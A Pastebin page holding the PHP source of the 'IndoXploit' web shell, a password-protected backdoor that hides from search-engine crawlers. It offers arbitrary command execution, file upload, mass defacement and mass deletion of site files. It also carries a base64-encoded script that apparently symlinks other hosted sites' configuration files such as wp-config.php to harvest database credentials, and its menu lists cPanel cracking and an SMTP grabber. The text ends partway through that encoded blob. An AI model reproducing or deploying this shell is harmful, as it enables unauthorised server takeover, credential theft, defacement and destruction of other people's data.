API tools faq
paste
Guest User

Untitled

a guest
Jun 2nd, 2018
315
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 97.87 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "647a321952d844b21a339717492d9a14"; // default: Bimaa
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>IndoXploit</title>
  31. <style type="text/css">
  32. html {
  33.     margin: 20px auto;
  34.     background: #000000;
  35.     color: green;
  36.     text-align: center;
  37. }
  38. header {
  39.     color: green;
  40.     margin: 10px auto;
  41. }
  42. input[type=password] {
  43.     width: 250px;
  44.     height: 25px;
  45.     color: red;
  46.     background: #000000;
  47.     border: 1px dotted green;
  48.     padding: 5px;
  49.     margin-left: 20px;
  50.     text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56.     <pre>
  57.  ___________________________
  58. < root@indoxploit:~# T3R53NTUH >
  59.  ---------------------------
  60.   ...............................................
  61. ............../´¯/)............(\¯`\ ......
  62. ............/....//........... ..\\....\ ......
  63. .........../....//............ ...\\....\
  64. ...../´¯/..../´¯\.........../¯ `\....\¯`\
  65. .././.../..../..../.|_......_| .\....\....\.\.\..
  66. (.(....(....(..../.)..).. ( ..(.. \....)....)..).)
  67. .\................\/.../....\. ..\/.............../
  68. ..\................. /........\................../
  69. ...\................../FUCK\................/
  70.     </pre>
  71. </header>
  72. <form method="post">
  73. <input type="password" name="pass">
  74. </form>
  75. <?php
  76. exit;
  77. }
  78. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  79.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  80.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  81.     else
  82.         login_shell();
  83. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  84.     @ob_clean();
  85.     $file = $_GET['file'];
  86.     header('Content-Description: File Transfer');
  87.     header('Content-Type: application/octet-stream');
  88.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  89.     header('Expires: 0');
  90.     header('Cache-Control: must-revalidate');
  91.     header('Pragma: public');
  92.     header('Content-Length: ' . filesize($file));
  93.     readfile($file);
  94.     exit;
  95. }
  96. ?>
  97. <html>
  98. <head>
  99. <title>T3R53NTUH || IndoXploit</title>
  100. <meta name='author' content='IndoXploit'>
  101. <meta charset="UTF-8">
  102. <style type='text/css'>
  103. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  104. html {
  105.     background: #000000;
  106.     color: #ffffff;
  107.     font-family: 'Ubuntu';
  108.     font-size: 13px;
  109.     width: 100%;
  110. }
  111. li {
  112.     display: inline;
  113.     margin: 5px;
  114.     padding: 5px;
  115. }
  116. table, th, td {
  117.     border-collapse:collapse;
  118.     font-family: Tahoma, Geneva, sans-serif;
  119.     background: transparent;
  120.     font-family: 'Ubuntu';
  121.     font-size: 13px;
  122. }
  123. .table_home, .th_home, .td_home {
  124.     border: 1px solid #ffffff;
  125. }
  126. th {
  127.     padding: 10px;
  128. }
  129. a {
  130.     color: #ffffff;
  131.     text-decoration: none;
  132. }
  133. a:hover {
  134.     color: gold;
  135.     text-decoration: underline;
  136. }
  137. b {
  138.     color: gold;
  139. }
  140. input[type=text], input[type=password],input[type=submit] {
  141.     background: transparent;
  142.     color: #ffffff;
  143.     border: 1px solid #ffffff;
  144.     margin: 5px auto;
  145.     padding-left: 5px;
  146.     font-family: 'Ubuntu';
  147.     font-size: 13px;
  148. }
  149. textarea {
  150.     border: 1px solid #ffffff;
  151.     width: 100%;
  152.     height: 400px;
  153.     padding-left: 5px;
  154.     margin: 10px auto;
  155.     resize: none;
  156.     background: transparent;
  157.     color: #ffffff;
  158.     font-family: 'Ubuntu';
  159.     font-size: 13px;
  160. }
  161. select {
  162.     width: 152px;
  163.     background: #000000;
  164.     color: lime;
  165.     border: 1px solid #ffffff;
  166.     margin: 5px auto;
  167.     padding-left: 5px;
  168.     font-family: 'Ubuntu';
  169.     font-size: 13px;
  170. }
  171. option:hover {
  172.     background: lime;
  173.     color: #000000;
  174. }
  175. </style>
  176. </head>
  177. <?php
  178. ###############################################################################
  179. // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
  180. // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
  181. // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
  182. // Tanpa kalian kita tidak akan BESAR seperti sekarang.
  183. // Greetz: All Member IndoXploit. & all my friends.
  184. ###############################################################################
  185. function w($dir,$perm) {
  186.     if(!is_writable($dir)) {
  187.         return "<font color=red>".$perm."</font>";
  188.     } else {
  189.         return "<font color=lime>".$perm."</font>";
  190.     }
  191. }
  192. function r($dir,$perm) {
  193.     if(!is_readable($dir)) {
  194.         return "<font color=red>".$perm."</font>";
  195.     } else {
  196.         return "<font color=lime>".$perm."</font>";
  197.     }
  198. }
  199. function exe($cmd) {
  200.     if(function_exists('system')) {        
  201.         @ob_start();       
  202.         @system($cmd);     
  203.         $buff = @ob_get_contents();        
  204.         @ob_end_clean();       
  205.         return $buff;  
  206.     } elseif(function_exists('exec')) {        
  207.         @exec($cmd,$results);      
  208.         $buff = "";        
  209.         foreach($results as $result) {         
  210.             $buff .= $result;      
  211.         } return $buff;    
  212.     } elseif(function_exists('passthru')) {        
  213.         @ob_start();       
  214.         @passthru($cmd);       
  215.         $buff = @ob_get_contents();        
  216.         @ob_end_clean();       
  217.         return $buff;  
  218.     } elseif(function_exists('shell_exec')) {      
  219.         $buff = @shell_exec($cmd);     
  220.         return $buff;  
  221.     }
  222. }
  223. function perms($file){
  224.     $perms = fileperms($file);
  225.     if (($perms & 0xC000) == 0xC000) {
  226.     // Socket
  227.     $info = 's';
  228.     } elseif (($perms & 0xA000) == 0xA000) {
  229.     // Symbolic Link
  230.     $info = 'l';
  231.     } elseif (($perms & 0x8000) == 0x8000) {
  232.     // Regular
  233.     $info = '-';
  234.     } elseif (($perms & 0x6000) == 0x6000) {
  235.     // Block special
  236.     $info = 'b';
  237.     } elseif (($perms & 0x4000) == 0x4000) {
  238.     // Directory
  239.     $info = 'd';
  240.     } elseif (($perms & 0x2000) == 0x2000) {
  241.     // Character special
  242.     $info = 'c';
  243.     } elseif (($perms & 0x1000) == 0x1000) {
  244.     // FIFO pipe
  245.     $info = 'p';
  246.     } else {
  247.     // Unknown
  248.     $info = 'u';
  249.     }
  250.         // Owner
  251.     $info .= (($perms & 0x0100) ? 'r' : '-');
  252.     $info .= (($perms & 0x0080) ? 'w' : '-');
  253.     $info .= (($perms & 0x0040) ?
  254.     (($perms & 0x0800) ? 's' : 'x' ) :
  255.     (($perms & 0x0800) ? 'S' : '-'));
  256.     // Group
  257.     $info .= (($perms & 0x0020) ? 'r' : '-');
  258.     $info .= (($perms & 0x0010) ? 'w' : '-');
  259.     $info .= (($perms & 0x0008) ?
  260.     (($perms & 0x0400) ? 's' : 'x' ) :
  261.     (($perms & 0x0400) ? 'S' : '-'));
  262.     // World
  263.     $info .= (($perms & 0x0004) ? 'r' : '-');
  264.     $info .= (($perms & 0x0002) ? 'w' : '-');
  265.     $info .= (($perms & 0x0001) ?
  266.     (($perms & 0x0200) ? 't' : 'x' ) :
  267.     (($perms & 0x0200) ? 'T' : '-'));
  268.     return $info;
  269. }
  270. function hdd($s) {
  271.     if($s >= 1073741824)
  272.     return sprintf('%1.2f',$s / 1073741824 ).' GB';
  273.     elseif($s >= 1048576)
  274.     return sprintf('%1.2f',$s / 1048576 ) .' MB';
  275.     elseif($s >= 1024)
  276.     return sprintf('%1.2f',$s / 1024 ) .' KB';
  277.     else
  278.     return $s .' B';
  279. }
  280. function ambilKata($param, $kata1, $kata2){
  281.     if(strpos($param, $kata1) === FALSE) return FALSE;
  282.     if(strpos($param, $kata2) === FALSE) return FALSE;
  283.     $start = strpos($param, $kata1) + strlen($kata1);
  284.     $end = strpos($param, $kata2, $start);
  285.     $return = substr($param, $start, $end - $start);
  286.     return $return;
  287. }
  288. function getsource($url) {
  289.     $curl = curl_init($url);
  290.             curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  291.             curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  292.             curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  293.             curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  294.     $content = curl_exec($curl);
  295.             curl_close($curl);
  296.     return $content;
  297. }
  298. function bing($dork) {
  299.     $npage = 1;
  300.     $npages = 30000;
  301.     $allLinks = array();
  302.     $lll = array();
  303.     while($npage <= $npages) {
  304.         $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  305.         if($x) {
  306.             preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  307.             foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  308.             $npage = $npage + 10;
  309.             if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  310.         } else break;
  311.     }
  312.     $URLs = array();
  313.     foreach($allLinks as $url){
  314.         $exp = explode("/", $url);
  315.         $URLs[] = $exp[2];
  316.     }
  317.     $array = array_filter($URLs);
  318.     $array = array_unique($array);
  319.     $sss = count(array_unique($array));
  320.     foreach($array as $domain) {
  321.         echo $domain."\n";
  322.     }
  323. }
  324. function reverse($url) {
  325.     $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  326.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  327.           curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  328.           curl_setopt($ch, CURLOPT_HEADER, 0);
  329.           curl_setopt($ch, CURLOPT_POST, 1);
  330.     $resp = curl_exec($ch);
  331.     $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace
  332.  
  333. (", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  334.     $array = explode(",,", $resp);
  335.     unset($array[0]);
  336.     foreach($array as $lnk) {
  337.         $lnk = "http://$lnk";
  338.         $lnk = str_replace(",", "", $lnk);
  339.         echo $lnk."\n";
  340.         ob_flush();
  341.         flush();
  342.     }
  343.         curl_close($ch);
  344. }
  345. if(get_magic_quotes_gpc()) {
  346.     function idx_ss($array) {
  347.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  348.     }
  349.     $_POST = idx_ss($_POST);
  350.     $_COOKIE = idx_ss($_COOKIE);
  351. }
  352.  
  353. if(isset($_GET['dir'])) {
  354.     $dir = $_GET['dir'];
  355.     chdir($dir);
  356. } else {
  357.     $dir = getcwd();
  358. }
  359. $kernel = php_uname();
  360. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  361. $dir = str_replace("\\","/",$dir);
  362. $scdir = explode("/", $dir);
  363. $freespace = hdd(disk_free_space("/"));
  364. $total = hdd(disk_total_space("/"));
  365. $used = $total - $freespace;
  366. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  367. $ds = @ini_get("disable_functions");
  368. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  369. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  370. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  371. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  372. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  373. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  374. if(!function_exists('posix_getegid')) {
  375.     $user = @get_current_user();
  376.     $uid = @getmyuid();
  377.     $gid = @getmygid();
  378.     $group = "?";
  379. } else {
  380.     $uid = @posix_getpwuid(posix_geteuid());
  381.     $gid = @posix_getgrgid(posix_getegid());
  382.     $user = $uid['name'];
  383.     $uid = $uid['uid'];
  384.     $group = $gid['name'];
  385.     $gid = $gid['gid'];
  386. }
  387. echo "System: <font color=lime>".$kernel."</font><br>";
  388. echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
  389. echo "Server IP: <font color=lime>".$ip."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
  390. echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
  391. echo "Safe Mode: $sm<br>";
  392. echo "Disable Functions: $show_ds<br>";
  393. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
  394. echo "Current DIR: ";
  395. foreach($scdir as $c_dir => $cdir) {   
  396.     echo "<a href='?dir=";
  397.     for($i = 0; $i <= $c_dir; $i++) {
  398.         echo $scdir[$i];
  399.         if($i != $c_dir) {
  400.         echo "/";
  401.         }
  402.     }
  403.     echo "'>$cdir</a>/";
  404. }
  405. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  406. echo "<hr>";
  407. echo "<center>";
  408. echo "<ul>";
  409. echo "<li>[ <a href='?'>Home</a> ]</li>";
  410. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  411. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  412. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  413. echo "<li>[ <a href='?dir=$dir&do=mass_delete'>Mass Delete</a> ]</li>";
  414. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  415. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  416. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  417. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  418. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  419. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li>";
  420. echo "<li>[ <a href='?dir=$dir&do=network'>network</a> ]</li>";
  421. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li><br>";
  422. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  423. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  424. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  425. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  426. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  427. echo "<li>[ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
  428. echo "<li>[ <a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a> ]</li>";
  429. echo "<li>[ <a style='color: red;' href='?logout=true'>Logout</a> ]</li>";
  430. echo "</ul>";
  431. echo "</center>";
  432. echo "<hr>";
  433. if($_GET['logout'] == true) {
  434.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  435.     echo "<script>window.location='?';</script>";
  436. } elseif($_GET['do'] == 'upload') {
  437.     echo "<center>";
  438.     if($_POST['upload']) {
  439.         if($_POST['tipe_upload'] == 'biasa') {
  440.             if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  441.                 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  442.             } else {
  443.                 $act = "<font color=red>failed to upload file</font>";
  444.             }
  445.         } else {
  446.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  447.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  448.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  449.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  450.                     $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  451.                 } else {
  452.                     $act = "<font color=red>failed to upload file</font>";
  453.                 }
  454.             } else {
  455.                 $act = "<font color=red>failed to upload file</font>";
  456.             }
  457.         }
  458.     }
  459.     echo "Upload File:
  460.     <form method='post' enctype='multipart/form-data'>
  461.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  462.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  463.     <input type='file' name='ix_file'>
  464.     <input type='submit' value='upload' name='upload'>
  465.     </form>";
  466.     echo $act;
  467.     echo "</center>";
  468. } elseif($_GET['do'] == 'cmd') {
  469.     echo "<form method='post'>
  470.     <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  471.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  472.     </form>";
  473.     if($_POST['do_cmd']) {
  474.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  475.     }
  476. } elseif($_GET['do'] == 'mass_deface') {
  477.     function sabun_massal($dir,$namafile,$isi_script) {
  478.         if(is_writable($dir)) {
  479.             $dira = scandir($dir);
  480.             foreach($dira as $dirb) {
  481.                 $dirc = "$dir/$dirb";
  482.                 $lokasi = $dirc.'/'.$namafile;
  483.                 if($dirb === '.') {
  484.                     file_put_contents($lokasi, $isi_script);
  485.                 } elseif($dirb === '..') {
  486.                     file_put_contents($lokasi, $isi_script);
  487.                 } else {
  488.                     if(is_dir($dirc)) {
  489.                         if(is_writable($dirc)) {
  490.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  491.                             file_put_contents($lokasi, $isi_script);
  492.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  493.                         }
  494.                     }
  495.                 }
  496.             }
  497.         }
  498.     }
  499.     function sabun_biasa($dir,$namafile,$isi_script) {
  500.         if(is_writable($dir)) {
  501.             $dira = scandir($dir);
  502.             foreach($dira as $dirb) {
  503.                 $dirc = "$dir/$dirb";
  504.                 $lokasi = $dirc.'/'.$namafile;
  505.                 if($dirb === '.') {
  506.                     file_put_contents($lokasi, $isi_script);
  507.                 } elseif($dirb === '..') {
  508.                     file_put_contents($lokasi, $isi_script);
  509.                 } else {
  510.                     if(is_dir($dirc)) {
  511.                         if(is_writable($dirc)) {
  512.                             echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  513.                             file_put_contents($lokasi, $isi_script);
  514.                         }
  515.                     }
  516.                 }
  517.             }
  518.         }
  519.     }
  520.     if($_POST['start']) {
  521.         if($_POST['tipe_sabun'] == 'mahal') {
  522.             echo "<div style='margin: 5px auto; padding: 5px'>";
  523.             sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  524.             echo "</div>";
  525.         } elseif($_POST['tipe_sabun'] == 'murah') {
  526.             echo "<div style='margin: 5px auto; padding: 5px'>";
  527.             sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  528.             echo "</div>";
  529.         }
  530.     } else {
  531.     echo "<center>";
  532.     echo "<form method='post'>
  533.     <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  534.     <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  535.     <font style='text-decoration: underline;'>Folder:</font><br>
  536.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  537.     <font style='text-decoration: underline;'>Filename:</font><br>
  538.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  539.     <font style='text-decoration: underline;'>Index File:</font><br>
  540.     <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
  541.     <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  542.     </form></center>";
  543.     }
  544. } elseif($_GET['do'] == 'mass_delete') {
  545.     function hapus_massal($dir,$namafile) {
  546.         if(is_writable($dir)) {
  547.             $dira = scandir($dir);
  548.             foreach($dira as $dirb) {
  549.                 $dirc = "$dir/$dirb";
  550.                 $lokasi = $dirc.'/'.$namafile;
  551.                 if($dirb === '.') {
  552.                     if(file_exists("$dir/$namafile")) {
  553.                         unlink("$dir/$namafile");
  554.                     }
  555.                 } elseif($dirb === '..') {
  556.                     if(file_exists("".dirname($dir)."/$namafile")) {
  557.                         unlink("".dirname($dir)."/$namafile");
  558.                     }
  559.                 } else {
  560.                     if(is_dir($dirc)) {
  561.                         if(is_writable($dirc)) {
  562.                             if(file_exists($lokasi)) {
  563.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  564.                                 unlink($lokasi);
  565.                                 $idx = hapus_massal($dirc,$namafile);
  566.                             }
  567.                         }
  568.                     }
  569.                 }
  570.             }
  571.         }
  572.     }
  573.     if($_POST['start']) {
  574.         echo "<div style='margin: 5px auto; padding: 5px'>";
  575.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  576.         echo "</div>";
  577.     } else {
  578.     echo "<center>";
  579.     echo "<form method='post'>
  580.     <font style='text-decoration: underline;'>Folder:</font><br>
  581.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  582.     <font style='text-decoration: underline;'>Filename:</font><br>
  583.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  584.     <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  585.     </form></center>";
  586.     }
  587. } elseif($_GET['do'] == 'config') {
  588.     $idx = mkdir("idx_config", 0777);
  589.     $isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
  590.     $htc = fopen("idx_config/.htaccess","w");
  591.     fwrite($htc, $isi_htc);
  592.     fclose($htc);
  593.     if(preg_match("/vhosts|vhost/", $dir)) {
  594.         $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  595.         $vhost =
  596.  
  597. "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAt
  598.  
  599. ZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc
  600.  
  601. 2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJH
  602.  
  603. NpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d
  604.  
  605. 3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3Av
  606.  
  607. aW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3Bwa
  608.  
  609. W5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaH
  610.  
  611. R0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN
  612.  
  613. 5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25m
  614.  
  615. aWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d
  616.  
  617. 3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2
  618.  
  619. l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9
  620.  
  621. 3cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFy
  622.  
  623. L3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnL
  624.  
  625. CRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLy
  626.  
  627. cuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXN
  628.  
